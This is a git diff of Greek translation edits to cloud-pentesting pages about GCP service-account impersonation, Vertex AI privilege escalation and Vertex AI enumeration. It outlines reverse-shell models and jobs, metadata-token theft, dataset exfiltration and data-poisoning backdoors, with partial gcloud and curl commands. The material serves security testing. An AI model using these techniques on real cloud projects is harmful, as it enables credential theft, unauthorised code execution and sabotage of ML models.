Υπάρχουν τρεις τρόποι με τους οποίους μπορείτε να [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -- Ταυτοποίηση **using RSA private keys** (αναφέρθηκε παραπάνω) -- Εξουσιοδότηση **using Cloud IAM policies** (αναφέρεται εδώ) -- **Deploying jobs on GCP services** (πιο εφαρμόσιμο στην παραβίαση ενός user account) +- Αυθεντικοποίηση **using RSA private keys** (αναφέρθηκε παραπάνω) +- Εξουσιοδότηση **using Cloud IAM policies** (περιγράφεται εδώ) +- **Deploying jobs on GCP services** (πιο εφαρμόσιμο στην παραβίαση λογαριασμού χρήστη) ### `iam.serviceAccounts.getOpenIdToken` -Ένας attacker με τις αναφερόμενες permissions θα μπορεί να δημιουργήσει ένα OpenID JWT. Αυτά χρησιμοποιούνται για να επιβεβαιώσουν ταυτότητα και δεν φέρουν απαραίτητα κάποια έμμεση authorization απέναντι σε έναν resource. +Ένας επιτιθέμενος με τις προαναφερθείσες άδειες θα μπορεί να δημιουργήσει ένα OpenID JWT. Αυτά χρησιμοποιούνται για την επιβεβαίωση ταυτότητας και δεν συνεπάγονται απαραίτητα κάποια έμμεση εξουσιοδότηση σε πόρο. -Σύμφωνα με αυτό το [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), είναι απαραίτητο να δηλώσετε το audience (την υπηρεσία στην οποία θέλετε να χρησιμοποιήσετε το token για να κάνετε authentication) και θα λάβετε ένα JWT υπογεγραμμένο από google που δηλώνει το service account και το audience του JWT. +Σύμφωνα με αυτό το [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), είναι απαραίτητο να υποδείξετε την audience (την υπηρεσία στην οποία θέλετε να χρησιμοποιήσετε το token για αυθεντικοποίηση) και θα λάβετε ένα JWT υπογεγραμμένο από google που υποδεικνύει το service account και την audience του JWT. -Μπορείτε να δημιουργήσετε ένα OpenIDToken (αν έχετε την πρόσβαση) με: +You can generate an OpenIDToken (if you have the access) with: ```bash # First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA gcloud auth activate-service-account --key-file=/path/to/svc_account.json # Then, generate token gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com ``` -Στη συνέχεια μπορείτε απλά να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στην υπηρεσία με: +Στη συνέχεια μπορείτε απλώς να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στην υπηρεσία με: ```bash curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app ``` -Μερικές υπηρεσίες που υποστηρίζουν πιστοποίηση μέσω αυτού του είδους token είναι: +Μερικές υπηρεσίες που υποστηρίζουν authentication μέσω αυτού του είδους των tokens είναι: - [Google Cloud Run](https://cloud.google.com/run/) - [Google Cloud Functions](https://cloud.google.com/functions/docs/) - [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto) - [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC) -Μπορείτε να βρείτε ένα παράδειγμα για το πώς να δημιουργήσετε ένα OpenID token εκ μέρους ενός λογαριασμού υπηρεσίας [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). +Μπορείτε να βρείτε ένα παράδειγμα για το πώς να δημιουργήσετε ένα OpenID token εκ μέρους ενός service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py). ## Αναφορές diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 364dace6c..8b5285197 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -4,19 +4,25 @@ ## Vertex AI -Για περισσότερες πληροφορίες σχετικά με Vertex AI δείτε: +Για περισσότερες πληροφορίες για το Vertex AI δείτε: {{#ref}} ../gcp-services/gcp-vertex-ai-enum.md {{#endref}} +Για **Agent Engine / Reasoning Engine** post-exploitation μονοπάτια που χρησιμοποιούν το runtime metadata service, τον default Vertex AI service agent, και cross-project pivoting σε consumer / producer / tenant resources, δείτε: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -Με την άδεια `aiplatform.customJobs.create` και το `iam.serviceAccounts.actAs` σε έναν στοχευμένο service account, ένας attacker μπορεί να **εκτελέσει αυθαίρετο κώδικα με αυξημένα δικαιώματα**. +Με το δικαίωμα `aiplatform.customJobs.create` και `iam.serviceAccounts.actAs` πάνω σε έναν στοχευμένο service account, ένας επιτιθέμενος μπορεί να **εκτελέσει αυθαίρετο κώδικα με αυξημένα προνόμια**. -Αυτό λειτουργεί δημιουργώντας ένα custom training job που εκτελεί attacker-controlled code (είτε ένα custom container είτε ένα Python package). Εάν προσδιορίσετε έναν privileged service account μέσω της επιλογής `--service-account`, το job κληρονομεί τα δικαιώματα αυτού του service account. Το job τρέχει σε Google-managed infrastructure με πρόσβαση στο GCP metadata service, επιτρέποντας την εξαγωγή του OAuth access token του service account. +Αυτό λειτουργεί δημιουργώντας ένα custom training job που τρέχει κώδικα ελεγχόμενο από τον επιτιθέμενο (είτε custom container είτε Python package). Ορίζοντας ένα προνομιούχο service account μέσω της σημαίας `--service-account`, το job κληρονομεί τα δικαιώματα αυτού του service account. Το job τρέχει σε Google-managed infrastructure με πρόσβαση στο GCP metadata service, επιτρέποντας την εξαγωγή του OAuth access token του service account. -**Impact**: Full privilege escalation to the target service account's permissions. +**Impact**: Πλήρης privilege escalation στα δικαιώματα του στοχευμένου service account.
@@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs --region= ### `aiplatform.models.upload`, `aiplatform.models.get` -Αυτή η τεχνική επιτυγχάνει privilege escalation ανεβάζοντας ένα μοντέλο στο Vertex AI και στη συνέχεια αξιοποιώντας αυτό το μοντέλο για να εκτελέσει κώδικα με αυξημένα προνόμια μέσω ενός endpoint deployment ή ενός batch prediction job. +Αυτή η τεχνική επιτυγχάνει privilege escalation ανεβάζοντας ένα μοντέλο στο Vertex AI και στη συνέχεια αξιοποιεί αυτό το μοντέλο για να εκτελέσει κώδικα με αυξημένα προνόμια μέσω ενός endpoint deployment ή μιας batch prediction job. > [!NOTE] -> Για να πραγματοποιηθεί αυτή η επίθεση απαιτείται να υπάρχει ένα world readable GCS bucket ή να δημιουργηθεί ένα νέο για τη μεταφόρτωση των αρχείων του μοντέλου. +> Για να εκτελέσετε αυτήν την επίθεση χρειάζεται να υπάρχει ένας world-readable GCS bucket ή να δημιουργήσετε έναν νέο για να ανεβάσετε τα αρχεία του μοντέλου.
-Μεταφόρτωση κακόβουλου pickled μοντέλου με reverse shell +Ανέβασμα κακόβουλου pickled μοντέλου με reverse shell ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -111,7 +117,7 @@ gcloud ai models upload \
-Μεταφόρτωση model με container reverse shell +Ανέβασμα μοντέλου με container reverse shell ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -143,16 +149,16 @@ gcloud ai models upload \
> [!DANGER] -> Μετά τη μεταφόρτωση του malicious model, ένας attacker μπορεί να περιμένει κάποιον να χρησιμοποιήσει το model, ή να εκκινήσει το model ο ίδιος μέσω endpoint deployment ή batch prediction job. +> Μετά τη μεταφόρτωση του κακόβουλου μοντέλου, ένας επιτιθέμενος θα μπορούσε να περιμένει κάποιον να χρησιμοποιήσει το μοντέλο, ή να εκκινήσει το μοντέλο ο ίδιος μέσω ανάπτυξης σε endpoint ή μέσω batch prediction job. -#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) +#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) ή ( `aiplatform.endpoints.setIamPolicy` ) -Αν έχετε δικαιώματα να δημιουργείτε και να αναπτύσσετε models σε endpoints, ή να τροποποιείτε endpoint IAM policies, μπορείτε να αξιοποιήσετε τα uploaded malicious models στο project για να επιτύχετε privilege escalation. Για να ενεργοποιήσετε ένα από τα προηγουμένως uploaded malicious models μέσω ενός endpoint, το μόνο που χρειάζεται να κάνετε είναι: +Αν έχετε δικαιώματα να δημιουργείτε και να αναπτύσσετε μοντέλα σε endpoints, ή να τροποποιείτε τις πολιτικές IAM των endpoints, μπορείτε να αξιοποιήσετε τα ανεβασμένα κακόβουλα μοντέλα στο project για να επιτύχετε privilege escalation. Για να ενεργοποιήσετε ένα από τα προηγουμένως ανεβασμένα κακόβουλα μοντέλα μέσω ενός endpoint, το μόνο που χρειάζεται να κάνετε είναι:
-Ανάπτυξη malicious model σε endpoint +Ανάπτυξη κακόβουλου μοντέλου σε endpoint ```bash # Create an endpoint gcloud ai endpoints create \ @@ -173,12 +179,12 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Αν έχετε δικαιώματα να δημιουργήσετε **batch prediction jobs** και να τα εκτελέσετε με ένα service account, μπορείτε να αποκτήσετε πρόσβαση στην metadata service. Ο κακόβουλος κώδικας εκτελείται από ένα **custom prediction container** ή **malicious model** κατά τη διάρκεια της διαδικασίας batch prediction. +Εάν έχετε δικαιώματα να δημιουργήσετε ένα **batch prediction job** και να το εκτελέσετε με ένα service account, μπορείτε να αποκτήσετε πρόσβαση στην metadata service. Ο κακόβουλος κώδικας εκτελείται από ένα **custom prediction container** ή **malicious model** κατά τη διαδικασία batch prediction. -**Σημείωση**: Τα batch prediction jobs μπορούν να δημιουργηθούν μόνο μέσω REST API ή Python SDK (χωρίς υποστήριξη gcloud CLI). +**Σημείωση**: Οι batch prediction jobs μπορούν να δημιουργηθούν μόνο μέσω REST API ή Python SDK (χωρίς υποστήριξη gcloud CLI). > [!NOTE] -> Αυτή η επίθεση απαιτεί πρώτα να ανεβάσετε ένα malicious model (βλέπε την ενότητα `aiplatform.models.upload` πιο πάνω) ή να χρησιμοποιήσετε ένα custom prediction container με τον κώδικα του reverse shell σας. +> Αυτή η επίθεση απαιτεί πρώτα να ανεβάσετε ένα malicious model (βλέπε την ενότητα `aiplatform.models.upload` πιο πάνω) ή να χρησιμοποιήσετε ένα custom prediction container με τον reverse shell κώδικά σας.
@@ -238,10 +244,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -If you have the **models.export** permission, you can export model artifacts to a GCS bucket you control, potentially accessing sensitive training data or model files. +Εάν έχετε την άδεια **models.export**, μπορείτε να εξαγάγετε αρχεία μοντέλου σε έναν GCS bucket που ελέγχετε, αποκτώντας ενδεχομένως πρόσβαση σε ευαίσθητα δεδομένα εκπαίδευσης ή αρχεία μοντέλου. > [!NOTE] -> Για να πραγματοποιήσετε αυτήν την επίθεση χρειάζεται να υπάρχει ένα GCS bucket με δικαιώματα ανάγνωσης και εγγραφής για όλους, ή να δημιουργήσετε ένα νέο για να ανεβάσετε τα αρχεία μοντέλου. +> Για να πραγματοποιηθεί αυτή η επίθεση απαιτείται να υπάρχει ένας GCS bucket που είναι world readable και writable ή να δημιουργήσετε έναν νέο για να ανεβάσετε τα αρχεία του μοντέλου.
@@ -272,16 +278,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Δημιουργήστε **ML pipeline jobs** που εκτελούν πολλαπλά βήματα με αυθαίρετα containers και επιτυγχάνουν privilege escalation μέσω reverse shell access. +Δημιουργήστε **ML pipeline jobs** που εκτελούν πολλαπλά βήματα με αυθαίρετα containers και επιτυγχάνουν privilege escalation μέσω reverse shell. -Τα Pipelines είναι ιδιαίτερα ισχυρά για privilege escalation επειδή υποστηρίζουν multi-stage attacks όπου κάθε component μπορεί να χρησιμοποιεί διαφορετικά containers και configurations. +Οι Pipelines είναι ιδιαίτερα ισχυρές για privilege escalation επειδή υποστηρίζουν επιθέσεις πολλαπλών σταδίων όπου κάθε συνιστώσα μπορεί να χρησιμοποιεί διαφορετικά containers και διαμορφώσεις. > [!NOTE] -> Χρειάζεστε ένα world writable GCS bucket για χρήση ως pipeline root. +> Χρειάζεστε έναν world-writable GCS bucket για χρήση ως pipeline root.
-Εγκαταστήστε Vertex AI SDK +Εγκατάσταση Vertex AI SDK ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -384,15 +390,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Δημιουργήστε **hyperparameter tuning jobs** που εκτελούν αυθαίρετο κώδικα με αυξημένα προνόμια μέσω custom training containers. +Δημιουργήστε **hyperparameter tuning jobs** που εκτελούν αυθαίρετο κώδικα με αυξημένα προνόμια μέσω προσαρμοσμένων containers εκπαίδευσης. -Hyperparameter tuning jobs σας επιτρέπουν να εκτελείτε πολλαπλές training trials παράλληλα, η κάθε μία με διαφορετικές τιμές hyperparameter. Καθορίζοντας ένα κακόβουλο container που περιέχει ένα reverse shell ή μια exfiltration command, και συσχετίζοντάς το με ένα privileged service account, μπορείτε να επιτύχετε privilege escalation. +Τα hyperparameter tuning jobs σας επιτρέπουν να εκτελείτε πολλαπλά training trials παράλληλα, το καθένα με διαφορετικές τιμές hyperparameters. Καθορίζοντας ένα κακόβουλο container με reverse shell ή exfiltration command και συνδέοντάς το με ένα προνομιακό service account, μπορείτε να επιτύχετε privilege escalation. -**Επίπτωση**: Πλήρης privilege escalation στις άδειες του στοχευόμενου service account. +**Impact**: Πλήρης privilege escalation στις άδειες του target service account.
-Create hyperparameter tuning job with reverse shell +Δημιουργία hyperparameter tuning job με reverse shell ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -433,15 +439,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Εξαγωγή **datasets** για exfiltrate των training data που ενδέχεται να περιέχουν ευαίσθητες πληροφορίες. +Εξαγωγή **σύνολα δεδομένων** για exfiltrate δεδομένα εκπαίδευσης που ενδέχεται να περιέχουν ευαίσθητες πληροφορίες. -**Σημείωση**: Οι λειτουργίες Dataset απαιτούν REST API ή Python SDK (δεν υπάρχει υποστήριξη gcloud CLI για datasets). +**Σημείωση**: Οι λειτουργίες σε σύνολα δεδομένων απαιτούν REST API ή Python SDK (χωρίς υποστήριξη gcloud CLI για σύνολα δεδομένων). -Τα datasets συχνά περιέχουν τα αρχικά training data, τα οποία μπορεί να περιλαμβάνουν PII, εμπιστευτικά επιχειρηματικά δεδομένα ή άλλες ευαίσθητες πληροφορίες που χρησιμοποιήθηκαν για την εκπαίδευση production models. +Τα σύνολα δεδομένων συχνά περιέχουν τα πρωτότυπα δεδομένα εκπαίδευσης, τα οποία μπορεί να περιλαμβάνουν PII, εμπιστευτικά επιχειρηματικά δεδομένα ή άλλες ευαίσθητες πληροφορίες που χρησιμοποιήθηκαν για την εκπαίδευση μοντέλων παραγωγής.
-Εξαγωγή dataset για exfiltrate training data +Export dataset to exfiltrate training data ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -490,25 +496,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Import malicious or poisoned data into existing datasets to **επηρεάσει την εκπαίδευση των μοντέλων και να εισαγάγει backdoors**. +Εισαγωγή κακόβουλων ή μολυσμένων δεδομένων σε υπάρχοντα σύνολα δεδομένων για να **χειραγωγήσουν την εκπαίδευση του μοντέλου και να εισάγουν backdoors**. -**Σημείωση**: Οι λειτουργίες datasets απαιτούν REST API ή Python SDK (no gcloud CLI support for datasets). +**Σημείωση**: Οι λειτουργίες σε σύνολα δεδομένων απαιτούν REST API ή Python SDK (no gcloud CLI support for datasets). -Εισάγοντας επιμελώς κατασκευασμένα δεδομένα σε ένα dataset που χρησιμοποιείται για την εκπαίδευση ML models, ένας επιτιθέμενος μπορεί: -- Εισάγει backdoors στα models (trigger-based misclassification) -- Poison training data για να υποβαθμίσει την απόδοση των models -- Εισάγει δεδομένα για να προκαλέσει τα models να leak πληροφορίες -- Χειραγωγήσει τη συμπεριφορά των models για συγκεκριμένες εισόδους +Με την εισαγωγή επιτηδευμένων δεδομένων σε ένα dataset που χρησιμοποιείται για την εκπαίδευση ML μοντέλων, ένας επιτιθέμενος μπορεί: +- Να εισαγάγει backdoors στα μοντέλα (trigger-based misclassification) +- Να δηλητηριάσει τα δεδομένα εκπαίδευσης για να υποβαθμίσει την απόδοση του μοντέλου +- Να εισάγει δεδομένα για να προκαλέσει τα μοντέλα να leak πληροφορίες +- Να χειραγωγήσει τη συμπεριφορά του μοντέλου για συγκεκριμένες εισόδους -Αυτή η επίθεση είναι ιδιαίτερα αποτελεσματική όταν στοχεύει datasets που χρησιμοποιούνται για: -- Ταξινόμηση εικόνων (εισάγοντας λανθασμένα επισημασμένες εικόνες) -- Ταξινόμηση κειμένου (εισάγοντας μεροληπτικό ή κακόβουλο κείμενο) -- Ανίχνευση αντικειμένων (χειραγώγηση bounding boxes) -- Συστήματα συστάσεων (εισάγοντας ψεύτικες προτιμήσεις) +Αυτή η επίθεση είναι ιδιαίτερα αποτελεσματική όταν στοχεύει σύνολα δεδομένων που χρησιμοποιούνται για: +- Ταξινόμηση εικόνων (εισαγωγή εσφαλμένα επισημασμένων εικόνων) +- Ταξινόμηση κειμένου (εισαγωγή προκατειλημμένου ή κακόβουλου κειμένου) +- Ανίχνευση αντικειμένων (χειραγώγηση των πλαισίων οριοθέτησης) +- Συστήματα προτάσεων (εισαγωγή ψεύτικων προτιμήσεων)
-Εισαγωγή poisoned δεδομένων σε dataset +Εισαγωγή μολυσμένων δεδομένων σε σύνολο δεδομένων ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -569,7 +575,7 @@ curl -s -X GET \
-Backdoor επίθεση - Ταξινόμηση εικόνων +Backdoor attack - Image classification ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -596,7 +602,7 @@ done > label_flip.jsonl
-Δηλητηρίαση δεδομένων για εξαγωγή μοντέλου +Data poisoning for model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -623,38 +629,38 @@ EOF
> [!DANGER] -> Οι επιθέσεις δηλητηρίασης δεδομένων μπορούν να έχουν σοβαρές συνέπειες: -> - **Συστήματα ασφάλειας**: Παράκαμψη αναγνώρισης προσώπου ή ανίχνευσης ανωμαλιών -> - **Ανίχνευση απάτης**: Εκπαίδευση μοντέλων να αγνοούν συγκεκριμένα μοτίβα απάτης -> - **Επιμέλεια περιεχομένου**: Να προκαλέσουν την ταξινόμηση επιβλαβούς περιεχομένου ως ασφαλούς +> Data poisoning attacks μπορούν να έχουν σοβαρές συνέπειες: +> - **Security systems**: Παρακάμπτουν την αναγνώριση προσώπου ή την ανίχνευση ανωμαλιών +> - **Fraud detection**: Εκπαιδεύουν μοντέλα να αγνοούν συγκεκριμένα μοτίβα απάτης +> - **Content moderation**: Προκαλούν την ταξινόμηση επιβλαβούς περιεχομένου ως ασφαλούς > - **Medical AI**: Λανθασμένη ταξινόμηση κρίσιμων ιατρικών καταστάσεων -> - **Αυτόνομα συστήματα**: Παραποίηση ανίχνευσης αντικειμένων για αποφάσεις κρίσιμης ασφάλειας -> -> **Επιπτώσεις**: -> - Backdoored models that misclassify on specific triggers -> - Μειωμένη απόδοση και ακρίβεια μοντέλου -> - Προκατειλημμένα μοντέλα που διακρίνουν εναντίον ορισμένων εισόδων -> - Information leakage through model behavior -> - Μακροχρόνια διατήρηση (μοντέλα εκπαιδευμένα σε poisoned data θα κληρονομήσουν το backdoor) +> - **Autonomous systems**: Παραποίηση της ανίχνευσης αντικειμένων για αποφάσεις κρίσιμες για την ασφάλεια + +**Επιπτώσεις**: +- Μοντέλα με backdoor που κάνουν λανθασμένη ταξινόμηση σε συγκεκριμένα triggers +- Υποβαθμισμένη απόδοση και ακρίβεια του μοντέλου +- Προκατειλημμένα μοντέλα που διακρίνονται έναντι ορισμένων εισόδων +- Information leakage through model behavior +- Μακροπρόθεσμη επίμονη κατάσταση (μοντέλα εκπαιδευμένα με poisoned data θα κληρονομήσουν το backdoor) ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Αποσυρμένο API**: Το `aiplatform.notebookExecutionJobs.create` API έχει αποσυρθεί ως μέρος της απόσυρσης του Vertex AI Workbench Managed Notebooks. Η σύγχρονη προσέγγιση είναι η χρήση του **Vertex AI Workbench Executor**, το οποίο τρέχει notebooks μέσω του `aiplatform.customJobs.create` (ήδη τεκμηριωμένο παραπάνω). -> Ο Vertex AI Workbench Executor επιτρέπει τον προγραμματισμό εκτελέσεων notebook που εκτελούνται στην υποδομή custom training του Vertex AI με συγκεκριμένο service account. Πρόκειται ουσιαστικά για ένα convenience wrapper γύρω από το `customJobs.create`. -> **For privilege escalation via notebooks**: Χρησιμοποιήστε τη μέθοδο `aiplatform.customJobs.create` που τεκμηριώθηκε παραπάνω, η οποία είναι ταχύτερη, πιο αξιόπιστη και χρησιμοποιεί την ίδια υποκείμενη υποδομή με τον Workbench Executor. +> **Deprecated API**: Το API `aiplatform.notebookExecutionJobs.create` είναι deprecated στο πλαίσιο της deprecation των Vertex AI Workbench Managed Notebooks. Η σύγχρονη προσέγγιση είναι η χρήση του **Vertex AI Workbench Executor** που τρέχει notebooks μέσω `aiplatform.customJobs.create` (ήδη τεκμηριωμένο παραπάνω). +> Ο Vertex AI Workbench Executor επιτρέπει τον προγραμματισμό εκτελέσεων notebook που εκτελούνται στην υποδομή custom training του Vertex AI με καθορισμένο service account. Αυτό είναι ουσιαστικά ένας convenience wrapper γύρω από `customJobs.create`. +> **For privilege escalation via notebooks**: Χρησιμοποιήστε τη μέθοδο `aiplatform.customJobs.create` που τεκμηριώνεται παραπάνω, η οποία είναι ταχύτερη, πιο αξιόπιστη και χρησιμοποιεί την ίδια υποκείμενη υποδομή με τον Workbench Executor. -**Η ακόλουθη τεχνική παρέχεται μόνο για ιστορικό πλαίσιο και δεν συνιστάται για χρήση σε νέες αξιολογήσεις.** +**Η παρακάτω τεχνική παρέχεται μόνο για ιστορικό πλαίσιο και δεν συνιστάται για χρήση σε νέες αξιολογήσεις.** -Δημιουργήστε **notebook execution jobs** που εκτελούν Jupyter notebooks με αυθαίρετο κώδικα. +Δημιουργήστε **notebook execution jobs** που τρέχουν Jupyter notebooks με αυθαίρετο κώδικα. -Οι notebook jobs είναι ιδανικές για εκτέλεση κώδικα σε διαδραστικό στυλ με ένα service account, καθώς υποστηρίζουν Python code cells και shell commands. +Τα notebook jobs είναι ιδανικά για διαδραστική εκτέλεση κώδικα με ένα service account, καθώς υποστηρίζουν Python κύτταρα κώδικα και εντολές shell.
-Create malicious notebook file +Δημιουργία κακόβουλου αρχείου notebook ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' @@ -681,7 +687,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-Εκτέλεση notebook με τον στοχευμένο λογαριασμό υπηρεσίας +Εκτέλεση notebook με target service account ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx" diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md index ffd296575..85e82c494 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md @@ -1,106 +1,114 @@ -# GCP - Vertex AI Ανίχνευση +# GCP - Vertex AI Απαρίθμηση {{#include ../../../banners/hacktricks-training.md}} ## Vertex AI -[Vertex AI](https://cloud.google.com/vertex-ai) είναι η **ενιαία πλατφόρμα μηχανικής μάθησης** του Google Cloud για την κατασκευή, ανάπτυξη και διαχείριση μοντέλων AI σε κλίμακα. Συνδυάζει διάφορες υπηρεσίες AI και ML σε μία ενιαία, ολοκληρωμένη πλατφόρμα, επιτρέποντας σε data scientists και ML engineers να: +[Vertex AI](https://cloud.google.com/vertex-ai) είναι η Google Cloud's **ενιαία πλατφόρμα μηχανικής μάθησης** για την κατασκευή, ανάπτυξη και διαχείριση μοντέλων AI σε κλίμακα. Συνδυάζει διάφορες υπηρεσίες AI και ML σε μία ενιαία, ολοκληρωμένη πλατφόρμα, επιτρέποντας σε επιστήμονες δεδομένων και μηχανικούς ML να: -- Εκπαιδεύσουν προσαρμοσμένα μοντέλα χρησιμοποιώντας AutoML ή προσαρμοσμένη εκπαίδευση -- Αναπτύξουν μοντέλα σε κλιμακούμενα endpoints για προβλέψεις -- Διαχειριστούν τον κύκλο ζωής του ML από το πειραματισμό έως την παραγωγή -- Έχουν πρόσβαση σε προεκπαιδευμένα μοντέλα από το Model Garden -- Παρακολουθούν και βελτιστοποιούν την απόδοση των μοντέλων +- **Εκπαιδεύσουν προσαρμοσμένα μοντέλα** χρησιμοποιώντας AutoML ή custom training +- **Αναπτύξουν μοντέλα** σε endpoints για προβλέψεις +- **Διαχειριστούν τον κύκλο ζωής ML** από τον πειραματισμό έως την παραγωγή +- **Πρόσβαση σε προεκπαιδευμένα μοντέλα** από το Model Garden +- **Παρακολουθήσουν και βελτιστοποιήσουν** την απόδοση μοντέλων -### Κύρια Συστατικά +### Agent Engine / Reasoning Engine + +Για ειδικές μεθόδους απαρίθμησης και post-exploitation για το **Agent Engine / Reasoning Engine** που περιλαμβάνουν **metadata credential theft**, **P4SA abuse**, και **producer/tenant project pivoting**, δείτε: + +{{#ref}} +../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md +{{#endref}} + +### Βασικά Συστατικά #### Models -Τα Vertex AI **models** αντιπροσωπεύουν εκπαιδευμένα μοντέλα μηχανικής μάθησης που μπορούν να αναπτυχθούν σε endpoints για παροχή προβλέψεων. Τα μοντέλα μπορούν να: +Τα μοντέλα του Vertex AI αντιπροσωπεύουν εκπαιδευμένα μοντέλα μηχανικής μάθησης που μπορούν να αναπτυχθούν σε endpoints για την παροχή προβλέψεων. Τα μοντέλα μπορούν να: - **Ανεβούν** από custom containers ή model artifacts - Δημιουργηθούν μέσω **AutoML** training -- Εισαχθούν από το **Model Garden** (προεκπαιδευμένα μοντέλα) -- **Έχουν εκδόσεις** με πολλαπλές versions ανά μοντέλο +- Εισαχθούν από το **Model Garden** (pre-trained models) +- **Έχουν versioning** με πολλαπλές εκδόσεις ανά μοντέλο -Κάθε model έχει metadata που περιλαμβάνει το framework του, container image URI, artifact location και την serving configuration. +Κάθε μοντέλο έχει metadata που περιλαμβάνει το framework, το container image URI, την τοποθεσία των artifacts και τη ρύθμιση εξυπηρέτησης. #### Endpoints -Τα **endpoints** είναι πόροι που φιλοξενούν αναπτυγμένα μοντέλα και παρέχουν online προβλέψεις. Κύρια χαρακτηριστικά: +Τα **endpoints** είναι resources που φιλοξενούν αναπτυγμένα μοντέλα και παρέχουν online προβλέψεις. Κύρια χαρακτηριστικά: -- Μπορούν να φιλοξενήσουν **πολλαπλά deployed models** (με traffic splitting) -- Παρέχουν **HTTPS endpoints** για real-time predictions -- Υποστηρίζουν **autoscaling** με βάση την κίνηση -- Μπορούν να χρησιμοποιούν **private** ή **public** πρόσβαση +- Μπορούν να φιλοξενήσουν **πολλαπλά αναπτυγμένα μοντέλα** (με traffic splitting) +- Παρέχουν **HTTPS endpoints** για προβλέψεις σε πραγματικό χρόνο +- Υποστηρίζουν **autoscaling** βάσει φόρτου +- Μπορούν να έχουν **ιδιωτική** ή **δημόσια** πρόσβαση - Υποστηρίζουν **A/B testing** μέσω traffic splitting #### Custom Jobs -Οι **Custom jobs** επιτρέπουν την εκτέλεση προσαρμοσμένου training code χρησιμοποιώντας δικά σας containers ή Python packages. Χαρακτηριστικά: +Οι **custom jobs** επιτρέπουν την εκτέλεση custom training κώδικα χρησιμοποιώντας τα δικά σας containers ή Python packages. Χαρακτηριστικά: - Υποστήριξη για **distributed training** με πολλαπλές worker pools -- Ρυθμιζόμενοι **machine types** και **accelerators** (GPUs/TPUs) -- Σύνδεση **service account** για πρόσβαση σε άλλους GCP πόρους -- Ενσωμάτωση με **Vertex AI Tensorboard** για οπτικοποίηση +- Διαμορφώσιμες **τύποι μηχανών** και **accelerators** (GPUs/TPUs) +- Σύνδεση με **service account** για πρόσβαση σε άλλους πόρους GCP +- Ενσωμάτωση με **Vertex AI Tensorboard** για απεικόνιση - Επιλογές **VPC connectivity** #### Hyperparameter Tuning Jobs -Αυτές οι εργασίες αυτόματα **αναζητούν βέλτιστες υπερπαραμέτρους** εκτελώντας πολλαπλά training trials με διαφορετικούς συνδυασμούς παραμέτρων. +Αυτές οι εργασίες αναζητούν αυτόματα τα βέλτιστα hyperparameters εκτελώντας πολλαπλά training trials με διαφορετικούς συνδυασμούς παραμέτρων. #### Model Garden Το **Model Garden** παρέχει πρόσβαση σε: - Προεκπαιδευμένα Google models -- Open-source μοντέλα (συμπεριλαμβανομένου του Hugging Face) -- Μοντέλα τρίτων -- Δυνατότητες one-click deployment +- Open-source 